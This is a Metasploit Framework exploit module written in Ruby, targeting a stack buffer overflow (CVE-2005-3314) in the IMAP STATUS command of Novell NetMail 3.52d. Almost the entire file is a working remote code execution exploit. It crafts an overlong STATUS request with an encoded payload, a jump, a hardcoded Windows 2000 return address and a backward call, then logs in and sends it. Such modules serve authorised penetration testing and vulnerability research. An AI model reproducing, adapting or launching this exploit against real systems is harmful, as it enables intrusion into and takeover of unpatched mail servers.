Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

#   http://metasploit.com/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = AverageRanking

        include Msf::Exploit::Remote::Imap

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'Novell NetMail <= 3.52d IMAP STATUS Buffer Overflow',

                        'Description'    => %q{

                                        This module exploits a stack buffer overflow in Novell's Netmail 3.52 IMAP STATUS

                                verb. By sending an overly long string, an attacker can overwrite the

                                buffer and control program execution.

                        },

                        'Author'         => [ 'MC' ],

                        'License'        => MSF_LICENSE,

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'CVE', '2005-3314' ],

                                        [ 'OSVDB', '20956' ],

                                        [ 'BID', '15491' ],

                                ],

                        'Privileged'     => true,

                        'DefaultOptions' =>

                                {

                                        'EXITFUNC' => 'thread',

                                },

                        'Payload'        =>

                                {

                                        'Space'    => 500,

                                        'BadChars' => "\x00\x0a\x0d\x20",

                                        'StackAdjustment' => -3500,

                                },

                        'Platform'       => 'win',

                        'Targets'        =>

                                [

                                        ['Windows 2000 SP0-SP4 English',   { 'Ret' => 0x75022ac4 }],

                                ],

                        'DefaultTarget'  => 0,

                        'DisclosureDate' => 'Nov 18 2005'))

        end

        def exploit

                sploit =  "a002 STATUS " + rand_text_english(1602) + payload.encoded

                sploit << "\xeb\x06" + rand_text_english(2) + [target.ret].pack('V')

                sploit <<  [0xe8, -485].pack('CV') + rand_text_english(150) + " inbox"

                info = connect_login

                if (info == true)

                        print_status("Trying target #{target.name}...")

                        sock.put(sploit + "\r\n")

                else

                        print_status("Not falling through with exploit")

                end

                handler

                disconnect

        end

end